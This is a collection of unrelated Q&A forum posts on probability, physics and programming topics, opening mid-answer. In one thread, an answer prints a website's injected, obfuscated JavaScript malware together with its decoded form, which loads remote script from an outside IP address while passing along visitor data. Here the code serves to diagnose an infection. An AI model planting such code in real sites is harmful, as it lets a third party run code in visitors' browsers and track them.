There is a more systematic way to approach these questions, using the binomial coefficients.  We write $\binom{n}{k}$ (read "$n$ choose $k$"), to denote the number of ways to choose $k$ objects (order unimportant) out of $n$.  So if we have two horses, and we want the probability that they both finish in the bottom half, we find the number of ways for them to finish in two of the bottom four spots, and divide that by the number of ways for them to finish in any spots:
$$
\frac{\binom{4}{2}}{\binom{8}{2}}
$$
The expansion for the binomial coefficients is $\binom{n}{k} = \frac{n!}{k!(n-k)!}$, where $n! = 1 \times 2 \times 3 \times \cdots \times n$.  That gives us $\binom{4}{2} = 6$ and $\binom{8}{2} = 28$, so the probability of them both finishing in the bottom half is $6/28 = 3/14$, as before.
ETA: If the desired probability is that both horses fall in the top half, that's equal to the probability that both of them fall in the bottom half—the halves being indistinguishable from that perspective—or, again, $3/14$.

A: Yes, the first question is correct.
As for the second question, you can consider it in this way:
(1) The decided "top 4" group should be preliminary condition. You just have to assign the placing of the 2 particular horses to the "top 4" group. The number of the ways to do this is: $\displaystyle _4P_2$.
(2) The rest 6 horses could be any rest placing, so the number of assigning the 6 horses is: $\displaystyle 6!$.
(3) The total number of all 8 horses placing is: $\displaystyle 8!$.
Hence, the possibility of the 2 particular horses to hold the top 4 group is: $\displaystyle \frac{_4P_2 \times 6!}{8!}=\frac{3}{14}$.

A: There are conflicting interpretations of the second question. See earlier answers and comments. Here is a brief simulation of 100,000 such races that includes both interpretations.
 h = c(1,1,0,0,0,0,0,0);  m = 10^5;  t4 = numeric(m)
 for(i in 1:m) {
    x = sample(h, 4);  t4[i] = sum(x) }

mean(t4 == 2)  # both of my horses in top four
## 0.2156
mean(t4 >= 1)  # at least one in top four
## 0.78658
3/14; 11/14     # exact
## 0.2142857
## 0.7857143

This can also be solved with a
hypergeometric random variable $X$ counting the number of my horses
among the top 4, chosen at random from a group in which 2 of the horses
are mine and 6 are not. Results below are for $P(X = 1)$ and $P(X = 2).$ I will leave it to you to look at the formula for the
PDF of the hypergeometric distribution.
 dhyper(1:2, 2,6,  4)      # exactly 1 or exactly 2 of my horses in top 4
 ##  0.5714286 0.2142857
 14*dhyper(0:2, 2,6,  4)
 ## 3 8 3


text:
Q: Gauging a mixture of internal and spacetime symmetries Given an internal symmetry, say $U(1)$ or $SU(2)$, I understand how to gauge it, by coupling the conserved current $J_{\mu}$ to a gauge field $A^{\mu}$. Similarly, I understand how to gauge a space-time symmetry, for instance the Poincare group, with the conserved current now the stress tensor, $T_{\mu\nu}$.
However, what happens when your symmetry is a combination of spatial and internal symmetries? For example, what if neither particle number, $n$, nor angular momentum, $l$, are conserved independently, but $l + n$ is? How would such a symmetry be gauged?
I've heard of the Coleman-Mandula theorem that forbids a non-trivial mixture of of space-time and internal symmetries but apparently this relies on having a Lie group structure, while such mixtures are allowed with Super-Lie groups. So I'm wondering if there already exists a way of gauging such symmetries.


text:
Q: How to check if a value in this is a prototype value in javascript? I've got the following code:
function test() {
    this.a = 5;
    this.b = 6;
}

test.prototype.b = 10;
test.prototype.c = 12;

var example = new test();

How do I find out if example.something:
A. has only a value in the function object?
B. has only a value in the prototype?
C. has a value in both the function object and prototype?

A: You can test the prototype to see if the value is specified in the prototype with this:
example.constructor.prototype.b

or
Object.getPrototypeOf(example).b

You can test if the property is directly on the object itself (e.g. not inherited or on the direct prototype) with:
example.hasOwnProperty("b")

A: You can check the properties within the object and its prototype by using the Object.keys method.

function test() {
    this.a = 5;
    this.b = 6;
}

test.prototype.b = 10;
test.prototype.c = 12;

var example = new test();

console.log(Object.keys(example));
console.log(Object.keys(example.__proto__));

A: This code reveals this:

function test() {
    this.a = 5;
    this.b = 6;
}

test.prototype.b = 10;
test.prototype.c = 12;

var example = new test();

for (prop of ['a', 'b', 'c']) {
    if (example.hasOwnProperty(prop)) console.log(prop + ' is owned by the object');
    if (test.prototype.hasOwnProperty(prop)) console.log(prop + ' is owned by the object prototype');
}


text:
Q: JS:Redirector-NL [Trj] - How to remove this trojan? I have this "JS:Redirector-NL [Trj]" virus issue in my website http://nutriconsulting.com.br/ , when someone opens the web , avast antivirus displays a popup which shows this error
Infection Details
URL:    http://nutriconsulting.com.br/wp-content...
Process:    C:\Users\Cyber Solutions\AppData\Local\G...
Infection:  JS:Redirector-NL [Trj]
I scanned my c panel files twice but all files are clean there , so how'd i remove it ?? This Trojan is running in java script files , i will really appreciate if someone gives me the idea of how to looking for a malicious codes in java script ..
Again this domain only displays an error in avast antivirus , not shown in other antiviruses like Symantec or Norton antivirus so please check it on avast . Please help me to fix up this issue , i am looking for some quick response .
Thanks

A: Have a look at: http://nutriconsulting.com.br/wp-includes/js/l10n.js?ver=20101110
There it is:
var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));

and in decoded form:
element = document.getElementById('dgllhguk');
if (!element) {
    hghjghjhjgjh = document.location;
    hghjhjhjg = escape(document.referrer);
    ugkkjkj = escape(navigator.userAgent);
    var js = document.createElement('script');
    js.id = 'dgllhguk';
    js.src = 'http://91.196.216.64/s.php?ref=' + hghjhjhjg + '&lc=' + hghjghjhjgjh + '&ua=' + ugkkjkj;
    var head = document.getElementsByTagName('head')[0];
    head.appendChild(js)
}];head.appendChild(js)}

The one who is controlling 91.196.216.64 (Russian Federation / ISP: SpetsEnergo Ltd.) can execute arbitary js code on your site.


text:
Q: How to Identify 32 bit processes I am writing an C# plug-in for an auditing application, which need to fetch a list of 32 bit applications running inside a 64-bit OS. I got stuck up at this point on how to identify a 32-bit process.
Please help me.

A: Take a look at http://social.msdn.microsoft.com/Forums/en-US/netfxtoolsdev/thread/491ea0b3-3e5b-4fa2-a2c3-2f1e485aed0c/.
I think it's possible with WMI.

A: You can use the IsWow64Process windows API call to determine if a process is running under 32bit emulation on a 64bit OS.
Here is the pinvoke link
Update: I benchmarked this a little bit, with the following results:

*

*Enumerating all the processes with Process.GetProcesses() takes the majority of the time with approx. 12ms on my laptop having 93 processes running

*Obtaining the handle and executing the IsWow64Process call took approx. 0.1ms per process on the same laptop.

*Obtaining all the processes with WMI took approx. 520ms on the same laptop (also 93 processes running).

Basically: If you can cope with the fact that the process might go away after you obtained the list and before you managed to query it then using the pinvoke way seems faster and snappier to me than using WMI. Although WMI might be the less intrusive way (from a process standpoint of view).


text:
Q: Silly mod_rewrite issue I think I never asked before a question like this, and I know I should read the manual, so I did, but I simply can't make this work.
I need a rewrite rule to move from this:
https://www.proevisa.com/ar/idea.php?permalink=proevisa/is-it-safe-to-provide-my-personal-and-finance-information-online

to this:
https://www.proevisa.com/ar/proevisa/is-it-safe-to-provide-my-personal-and-finance-information-online

I don't yet understand if I should update the links on the website, as they point to the original URL not the pretty ones.
Can someone please help me out a little bit with this?
Thanks a lot,
Chris

A: If there was no query string involved, RedirectMatch could be used (not sure why it was made to ignore that part of URLs, or maybe I am mistaken).
Anyway, with mod_rewrite try this:
RewriteCond %{REQUEST_URI}?%{QUERY_STRING} ^/ar/idea\.php\?permalink=(.*?)$
RewriteRule . /ar/%1? [R=301]

This is assuming there is a RewriteEngine On directive present, and there are no other mod_rewrite rules that could mix in (if there are, consider using the L flag or rearranging the rules).
%1 references the contents of the regexp "group" after the permalink=. ? after it tells to omit the old query string from the result. R=301 is a permanent redirect.
Of course, update the links on the site, and after old links are gone from indexes and bookmarks, remove the rules as they will become irrelevant.

A: So I finally came to more PHP based solution as my mod_rewrite skill aren't really good. This is what I've done:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /proevisa/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ /proevisa/ar/idea.php?r=$1
</IfModule>

Yes, it's based on the Wordpress rewrite structure. What it does it's basically the following:

*

*Defines the base path as Proevisa which is my home directory.

*If the requested URL is not a file

*If the requested URL is not a directory

*Then, it's redirected to idea.php

Idea.php does the following:
//recibimos la información del usuario
$idea->base_dir = "/proevisa/ar";
$idea->permalink = addslashes($_SERVER['REQUEST_URI']);
$idea->permalink = str_replace($idea->base_dir, "", $idea->permalink);

*

*Defines once again the base directory.

*Analyzes the original request URI

*Cleans it a little bit to avoid issues with the permalinks.

Then we query the database to see if there's any article matching the $_SERVER['REQUEST_URI'].
It's not an specific solution for the problem I've described, but it works very well to handle almost every single case using PHP, as if it's not found you can easily redirect to a PHP, or even you can use LIKE in the query, and show similar results...
Hope it helps someone!
Chris;


text:
Q: OnBoard ethernet controller: LAN cable not plugged in I have a following problem on Windows 7 64bit, with OnBoard Ethernet on MSI K9N Neo V2 MotherBoard: I have connected my PC to a router via UTP cable, but it can't connect to local network. I eliminated the following causes:

*

*Router issues - Router is just fine as my other PC connects to the Internet with no problems.

*Damaged/Broken cable - I tried both cables I have on my old computer, and they're just fine.

*Network Adapters collision - I only have that NIC installed on MotherBoard, no additional network cards

*NIC hardware failure - most of the tech forums I searched through trying to fix this problem, have users saying that you can test whether your card is physically OK if you can ping itself(loop-back), and pinging 127.0.0.1 works just fine.

*Dust - yes, I even tried blowing(no pun intended)

*BIOS - I tried loading optimized defaults, no go. I checked whether OnBoard LAN is enabled, and it indeed is.

*Drivers - Tried both Windows update drivers and manufacturer drivers(both old, that came with the motherboard, and latest update for Realtek Ethernet on their website).

*Resetting WinSock - netsh winsock reset C:\resetlog.txt, no go. However, I didn't get the log, not sure why.

*FlushDNS/RENEW - Doesn't work due to media being disconnected(ie. not connected to any networks)

*Re-enabling Local Area Connection/Removing it/ - No go.

*Uninstalling device using device manager/look for new hardware/install drivers - No go.

That covers most of what I have tried so far, but no luck. Now, let me show you my IP config:

EDIT:
I also tried it on Ubuntu(Live CD). It doesn't report any errors, but it still doesn't connect. Then I stumbled upon THIS, on ubuntu forums, and the problem for this guy was that the drivers that were loaded were made for a different kernel. Then I checked my NIC's ID in linux' lspci, and it says: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411, so I downloaded appropriate drivers for Windows(I couldn't try them on Ubuntu as I was running the Live CD so it wasn't possible for me to remove/add drivers), and it still doesn't work.
Also, WRT NIC blinking yellow/green: I noticed it blinks 4 times rapidly when I start my computer(seems like it starts blinking when computer starts initializing hardware), and no blinking past that point. I expected to see some blinking when NIC tries to find a network(i.e. when OS is loaded and loader circle appears over network icon in system tray), but it doesn't blink.

A: All you've posted (especially same issues on Ubuntu) points to a dead NIC. RMA the board.


text:
Q: Как правильно сделать формат даты? Нужно вывести вчера сегодня завтра именно в таком формате

06.05.2021
07.05.2021
08.05.2021

$d = date( "d" );
$m = date( "m" );
$Y = date( "Y" );
$d1 = date( "d" )+1;
$d2 = date( "d" )-1;

0$d2.$m.$Y

$d.$m.$Y

0$d1.$m.$Y

Чую, что этот код далеко не идеальный. С нолём перед датой дня проблемы.

A: Сейчас всё чаще используют класс DateTime / DateTimeImmutable:
$datetime = new DateTimeImmutable();

$format = 'd.m.Y';

echo
  $datetime->modify('-1 day')->format($format) . "\n" .
  $datetime->format($format) . "\n" .
  $datetime->modify('+1 day')->format($format) . "\n";

https://php.net/class.datetimeimmutable
https://replit.com/@w3lifer/DiscreteOutlyingText


text:
Q: Direct antonyms of bifurcate / trifurcate? I am looking for two words that would describe:

*

*merge from two branches or forks;

*merge from three branches or forks.

PS: am I "allowed" to continue the respective series by applying different numbers in Latin?

A: I frequently use the word "(Re)anneal" to describe that phenomenon – (re)connections in computer networks are a constant.  However, that's the term I used a lot when studying biochemistry, where it refers to the process in which two single strands of DNA recombine into their bonded helical form.
More generally, there's "consilience", which roughly means "a springing together" – like disparate facts suddenly lining up to tell a story, or maybe an interdisciplinary tapestry of the sort used by the Game's players in Hermann Hesse's timeless book Magister Ludi ("The Glass Bead Game").


text:
Q: How do I make powershell search a Word document for wildcards and return the word it found? I am searching a very large amount of Word documents (5000) for a very large number of strings (3000).  I know how to do this in a Powershell script, but it takes an extremely long time.  Fortunately, most of these strings have common text in the first 3 or 4 characters, and I am able to narrow the strings down to roughly 300 if utilize wildcard searches in a find.execute statement.  If I search for (cod)* in strings.txt, and it find results such as "code," "coding", "coded", etc. in the Word doc, I need to have those results placed into a text file.  However, I'm not having much luck.
$filePath = "C:\files\"
$textPath = "C:\strings.txt"
$outputPath = "C:\output.txt"
$findTexts = (Get-Content $textPath)
$docs = Get-childitem -path $filePath -Recurse -Include *.docx
$application = New-Object -comobject word.application
Foreach ($doc in $docs)
{
   $document = $application.documents.open("$doc", $false, $true)
   $application.visible = $False
   $matchCase = $false
   $matchWholeWord = $false
   $matchWildCards = $true
   $matchSoundsLike = $false
   $matchAllWordForms = $false
   $forward = $true
   $wrap = 1
   $range = $document.content
   $null = $range.movestart()

   Foreach ($findtext in $findTexts)
   {
       $wordFound = $range.find.execute($findText,$matchCase,$matchWholeWord,$matchWildCards,$matchSoundsLike, $matchAllWordForms,$forward,$wrap)
       if ($wordFound)
       {
           $docName = $doc.Name
           #Output search results and file name to a tab-delimited file
           "$findText`t$docName" | Out-File -append $outputPath
        } #end if $wordFound

     } #end foreach $findText
$document.close()
} #end foreach $doc
$application.quit()

If I have a Word doc with the word "coding" in it, this script results in output.txt containing the (cod)* wildcard and the filename because $findText = (cod)*.  So is there any way to get the word "coding" to output to the file?

A: Instead of using Word's wildcard searching why not just use a Powershell regex on all of the text in the document. Something like this:
if ($document.Content.Text -match "\b$($findText)\w+\b")
{
  $docName = $doc.Name
  "$($matches[0])`t$docName" | Out-File -append $outputPath
}


text:
Q: Regex - Capturing items from a list in HTML So I'm trying to get all of the possible options from this list with Regex:
<select id="color" name="colorId" class="btn secondary">
<option value="33941">Baltic</option>
<option value="3">Black</option>
<option value="398695">Bright Cherry Red</option>
<option value="172615">Captain Blue</option>
<option value="254777">Chlorophyll Green</option>
<option value="162672">Cosmic</option>
<option value="34237" selected="selected">Guava</option>
<option value="36993">Hawaiian Blue</option>
<option value="172715">Malachite</option>
<option value="9">Navy</option>
<option value="398694">Obscure Blue</option>
<option value="405740">Quartz Purple</option>
<option value="254790">Silver Grey Chine</option>
<option value="231423">Starfruit Yellow</option>
<option value="405844">Tortuga Green</option>
<option value="14">White</option>
</select>

So far I have <select id="color" [^>;]+>\s?<option value="\d+?">(\w+|\W+[^</option>\s?<option value="\d+?">;])</option></select> which of course matches the first option, but I don't know how to get all of them.

A: There's no reason to use a regular expression for this. You can do:
var lis = document.getElementById('color').getElementsByTagName('li');

and then you'll have a nice list of elements to work with.


text:
Q: Binary file writing the same data format in VB6 and C# I have found an issue. I have to write binary files by using VB6 and C#. When I wrote same set of variables as mentioned below, both output differs. I can guess, the way they represent the string is different in C# and VB6. I just wanted to know is there any way to make both writing similar. Because there are timesI may need to write the same contents by C# and VB
VB6
nFileNum = FreeFile
stringVal = ""
stringVal2 = "Hello"
i = 25
sFilename = "C:\Temp\fromVB.bin"
Open sFilename For Binary As #nFileNum
    Put #nFileNum, , stringVal
    Put #nFileNum, , stringVal2
    Put #nFileNum, , i
Close #nFileNum

C#
    const string fileName = @"C:\Temp\fromC#.bin";
    string stringVal = "";
    string stringVal2 = "Hello";
    int i = 25;

    using (BinaryWriter writer = new BinaryWriter(File.Open(fileName, FileMode.Create)))
    {
        writer.Write(stringVal);
        writer.Write(stringVal2);
        writer.Write(i);
    }

A: That's hardly the same code. You shouldn't be using the old File Number -based IO in VB.Net any more. That API still exists for the sole purpose of making it easier to port code to .Net from VB6. VB.Net should be using the same API as the C# code. All the more so if you want matching results:
Const fileName As String = "C:\Temp\fromVB.bin"
Dim stringVal As String = ""
Dim stringVal2 As String = "Hello"
Dim i As Integer = 25

Using writer As New BinaryWriter(File.Open(fileName, FileMode.Create))
    writer.Write(stringVal)
    writer.Write(stringVal2)
    writer.Write(i)
End Using

A: I can't remember the exact format of the data written by VB6 (and I'm too lazy to test) but you may need to write out the string length and the string itself seperately.
You should be able to see the exact format using a hex editor to view the files.


text:
Q: Pasting tabs from Excel into bash I'm trying to paste several columns from excel with tab delimitations into a bash text editor (nano), but the tabs are not being written. I'm using the windows 10 Linux subsystem (no problem from my mac). Any idea how to get bash to recognise tabs?
Many thanks.

A: Finally figured this out! Under bash properties and edit options, just need to unclick filter clipboard contents on paste! Simple, if you know it!!


text:
Q: How do I customize or add more fields to FlatList, ListItem apart from "title" and "subtitle" I am trying to render some data from an api using react FlatList, ListItem each doc has a number of fields but ListItems only give me an option for "title" and "subtitle" is there anyway to customize and add more fields?
I checked the documentation and other examples but all I see is "title" and "subtitle"
  render() {
    return (
      <ScrollView>
      <List containerStyle={{ borderTopWidth: 0, borderBottomWidth: 0 }}>
        <FlatList
          data={this.state.data}
          renderItem={({ item }) => (
            <ListItem

                title={`${item.origin} - ${item.destination}`}
                subtitle={item.date}
                subtitle1={item.price}
                seats={{seats:item.status}}
              containerStyle={{ borderBottomWidth: 0 }}
            />
          )}
          keyExtractor={item => item._id}
          ItemSeparatorComponent={this.renderSeparator}

        />
      </List>
      </ScrollView>
    );
  }
}

I want to display more fields on the render than just "title" and "subtitle".

A: You may try using View within the render item. And you can apply styles to format your title text and etc.
render() {
    return (
      <ScrollView>
      <List containerStyle={{ borderTopWidth: 0, borderBottomWidth: 0 }}>
        <FlatList
          data={this.state.data}
          renderItem={({ item }) => (
            <View>
                <Text>`${item.origin} - ${item.destination}`</Text>
                <Text>{ item.date }</Text>
                <Text>{ item.price }</Text>
            </View>
          )}
          keyExtractor={item => item._id}
          ItemSeparatorComponent={this.renderSeparator}

        />
      </List>
      </ScrollView>
    );
  }
}

A: You can't add additional fields to the <ListItem/> itself however you could render a custom component via the leftElement prop (rather than a single string) to allow the display of additional data:
<ListItem leftElement={() => (<View>
        <View>{item.origin}</View>
        <View>{item.destination}</View>
        <View>{item.status}</View>
        <View>{item.price}</View>
    </View>)}
    subtitle={item.date}
    containerStyle={{ borderBottomWidth: 0 }} />

There are also a number of other props avalible to you such as rightElement or even rightTitle, rightSubtitle, etc, which you can use in the same way to render custom react elements that display the additional data you have.


text:
Q: Browser communication with Unity3d web player I need to set the value of a static member in unity from my browser using javascript:
In Unity3D, I have the following script file:
ScriptName: Glob.js
static var myValue;

function setValue() {
Glob.myValue=15;
}

In my browser, I'm trying to call the function setValue as follow:
//u is the unity object:

u.getUnity().SendMessage("Glob", "setValue", "");

the javascript function doesnt give error, but the value myValue or the function setValue is not getting called, how can I change a global static member with JavaScript?
Many thanks.

A: It looks like you are not returning the value of the setValue function. I think the following code could work:
static var myValue;

function setValue() {
    Glob.myValue = 15;
    return Glob.myValue;
}

and
var myValueInUnity = u.getUnity().SendMessage("Glob", "setValue", "");
console.log(myValueInUnity);


text:
Q: How to do calculations on pandas data frame and put the results in a specific area on an excel sheet? I am new to pandas and trying to automate some boring excel tasks. For example, each month I update each of these fields with a new monthly data % return.
I would then below it like to have a table that shows a bunch of stats on those returns. For example:
For each column, I would like a new table below that says for example: Standard Deviation and then gives the standard deviation of each set of total returns. I would like another row that is annualised return (which in excel is = GEOMEAN(1+Cell Range)^12 -1.
I could have another row below that which is the a modified sharpe ratio and use the return / standard deviation calculated above.
This is all straightforward on excel but I don't know how to start this on Pandas. Hopefully my image attached is intuitive.
Example info + what I am after


text:
Q: Error When Changing to MySQL2 on Heroku For my Heroku app (Rails 3.1.4 and Ruby 1.9.2), I'm trying to change to a database that is using MySQL2, but I'm receiving an error from Heroku (which is crashing my app):
3.1.4/lib/active_record/connection_adapters/abstract/connection_specification.rb:71:in `rescue in establish_connection': Please install the mysql12 adapter: `gem install activerecord-mysql12-adapter` (no such file to load -- active_record/connection_adapters/mysql12_adapter) (RuntimeError) EXCEPT

In my gemfile, I have:
group :production do
  gem "mysql2", "~> 0.3.11"
end

group :development, :test do
  gem 'mysql', '2.8.1'
end

In my database.yml, I have:
development:
  adapter: mysql

production:
  adapter: mysql2

Here's what I've tried unsuccessfully(all attempts installed correctly locally and in Heroku):

*

*Per this answer, I tried (in my gemfile), mysql2 version "< 0.3"

*Per another answer for that question, I tried '< 0.3.7' which didn't work

*I tried gem "mysql2", "~> 0.3.11" per this answer, but it didn't work

*Per the gem's site, I tried (in my gemfile), mysql2 version "~> 0.2.7" and it installed mysql2 0.2.18 (successfully locally and in Heroku)

A: I'm sure you've figured this out or moved on long ago, but I was running into the same issue and thought I'd share what worked for me for anyone else who comes along.
In addition to what you mention above, if you're using Heroku you also have to specify mysql2:// in the DATABASE_URL instead of mysql://. See the ClearDB writeup here:
https://devcenter.heroku.com/articles/cleardb
And update their instructions to use mysql2:// instead of mysql:// like so:
heroku config:add DATABASE_URL='mysql2://adffdadf2341:adf4234@us-cdbr-east.cleardb.com/heroku_db?reconnect=true'

Hope that helps.

A: Try installing the ruby-mysql gem.


text:
Q: Trouble with RayCasting to check neighboring blocks for a specific state Sorry for the long question. I am making a simple game where you click a cube and it changes its material to a certain color(i.e. dirt/grass >> water and any dirt "tiles" next to the water tile(cardinally) will automatically become yellow). These colors are kept by using an int value to identify the state.
I failed at using an 2d array in c# to store these cubes so I was attempting to use raycasting to check for these neighboring relationships. All the cubes are on a single plane of y=0 and they have a l=1m.
Here is the code for checking the neighbors.
Here is the starting gameboard with all tiles turned into dirt. This means When I click a tile it should turn blue(which is working) and then surrounding brown tiles should change their state to 3 therefore turning them yellow. Here, however, is what happens.
Initial:
After clicking one tile:
I added some debugging console writes to try and help but had no personal luck.
Here they are:
Thank you for any help you can give. I'm new to c# and am having a lot of trouble!

A: By changing my raycast to
check(tr,transform.forward)

Instead of
check(tr,(tr+transform.forward))

I was able to cast the rays from the proper position. Still a little confused about it but it works.


text:
Q: How does Airbnb route each article? I am making a website with Ruby on Rails, referencing Airbnb, and I found it difficult to make the following URL structure.

https://www.airbnb.com/help/article/767/what-is-the-resolution-center

In this URL, it seems that there is an article resource under help, so 767 is the ID of the article. In addition, after the ID, there is the name of the page in the URL.
scope '/help' do
  resources :articles
end

By doing this, I was able to route until this part.

/help/articles/'page_id'

But I have no idea what to do from here.
I generated article model(title:string, content:text), and I am guessing that each article(title and content) is displayed according to the id.

Here's my questions.

*

*How does Airbnb route page_name after the article ID?

*In the case that the title and content in the article table are displayed, how  do you put hyperlinks or internationalize the contents with I18n?

*Also, please tell me if my guess is wrong in the first place, and tell me how Airbnb routes each article.

Thank you.

A: To tell Rails to accept request under URL like /help/article/767/what-is-the-resolution-center is actually very easy when you do use get instead of nested resources:
get '/help/article/:id/:slug', to: 'help_atricles#show', as: 'help_article'

Given the above URL, Rails would extract the id and slug from the URL and route the request to the show method of a HelpArticlesController.
That controller method could be as simple as:
def show
  @article = HelpArticle.find(params[:id])
end

And to build such URLs you can use the help_article_path helper method defined by the as: 'help_article' part:
<%= link_to(
      @article.title,
      help_article_path(
        id:   @article.id,
        slug: @article.title.parameterize
      )
    ) %>

Read more about this routing method in the Rails Guides
Btw. I didn't use the slug part of the URL because it feels to me like it makes the URL look nicer and might be SEO relevant, but it feels useless from the application's point of view. You might want to use the slug part to identify the locale in which the article should be shown if you do not want to use the browser's locale setting.


text:
Q: How to use type Date in new Java Object? I would like to know how to use type Date in new object?
I'll explain a bit more be showing my code:
I got a Java class called:
Reiziger:
import java.util.Date;

public class Reiziger {
    private String naam;
    private Date gbdatum;

    public Reiziger(String nm, Date gbdtm) {
        this.naam = nm;
        this. gbdatum = gbdtm;
    }

    public String getNaam() {
        return naam;
    }

    public void setNaam(String naam) {
        this.naam = naam;
    }

    public Date getGBdatum() {
        return gbdatum;
    }

    public void setGBdatum(Date gbdatum) {
        this.gbdatum = gbdatum;
    }

    public String toString() {
        return naam + gbdatum;
    }
}

And a Main:
public class Main {
    public static void main(String[] args) {
        Reiziger r1 = new Reiziger("Joost", "01-01-1994");
        Reiziger r2 = new Reiziger("Hans", null);

        ReizigerOracleDaoImpl i1 = new ReizigerOracleDaoImpl();
        i1.alleReizigers.add(r1);
        i1.alleReizigers.add(r2);
        System.out.println(i1.alleReizigers);
    }
}

As you see in my main i tried alot of things only null is working. I want to add the the object a date -> for example: 01-01-1994 but doesnt work.
I tried it without the " " also nothing.
any idea what i'm doing wrong?

A: Your method is defined as taking in a Date object, however you are trying to pass in a String. Java does not automatically convert the String to a Date.
What you need to do is use a DateFormatter.
This uses a defined Date pattern to convert your incoming String into the Date object you want to use.
In your case, you would want to do something similar to this:
String dateFormat = "MM-dd-yyyy";

try {
    DateFormat df = new SimpleDateFormat(dateFormat);
    Date dateToUse = df.parse("01-01-1994");

    // Or this way
    DateTimeFormatter formatter = DateTimeFormatter.ofPattern(dateFormat);
    LocalDate localDate = LocalDate.parse("01-01-1994", formatter);
} catch (ParseException pe) {
    // Do something
}

Here are the links to the Java PI:
SimpleDateFormatter: https://docs.oracle.com/javase/8/docs/api/java/text/SimpleDateFormat.html
DateTimeFormatter: https://docs.oracle.com/javase/8/docs/api/java/time/format/DateTimeFormatter.html
LocalDate: https://docs.oracle.com/javase/8/docs/api/java/time/LocalDate.html

A: tl;dr
You are passing a String object to your constructor, but then attempting to assign it to a member variable of a different type (Date). No can do. Square peg, round hole. You must first parse that text into an object of the correct type.
Another problem: You are using terrible old date-time class Date where you should be using the modern java.time.LocalDate class.
LocalDate.of( 1994 , Month.JANUARY , 1 )

java.time

I would like to know how to use type Date in new object?

Don't.
Apparently you want a date-only value, so use a date-only class rather than a date-plus-time-of-day class.
Furthermore, never use java.util.Date. It is part of the troublesome old date-time classes that were supplanted years ago by the java.time classes.
The LocalDate class represents a date-only value without time-of-day and without time zone. Specify the month part either by number 1-12 for January-December or by the Month enum class.
LocalDate ld = LocalDate.of( 1994 , Month.JANUARY , 1 ) ;

Change your member variable:
private Date gbdatum ;

…to:
private LocalDate gbdatum ;

Change your constructor to:
public Reiziger(String nm, LocalDate gbdtm)

Call it like this:
Reiziger r1 = new Reiziger(
    "Joost" ,
    LocalDate.of( 1994 , Month.JANUARY , 1 )
) ;

About java.time
The java.time framework is built into Java 8 and later. These classes supplant the troublesome old legacy date-time classes such as java.util.Date, Calendar, & SimpleDateFormat.
The Joda-Time project, now in maintenance mode, advises migration to the java.time classes.
To learn more, see the Oracle Tutorial. And search Stack Overflow for many examples and explanations. Specification is JSR 310.
You may exchange java.time objects directly with your database. Use a JDBC driver compliant with JDBC 4.2 or later. No need for strings, no need for java.sql.* classes.
Where to obtain the java.time classes?

*

*Java SE 8, Java SE 9, Java SE 10, and later

*

*Built-in.

*Part of the standard Java API with a bundled implementation.

*Java 9 adds some minor features and fixes.

*Java SE 6 and Java SE 7

*

*Much of the java.time functionality is back-ported to Java 6 & 7 in ThreeTen-Backport.

*Android

*

*Later versions of Android bundle implementations of the java.time classes.

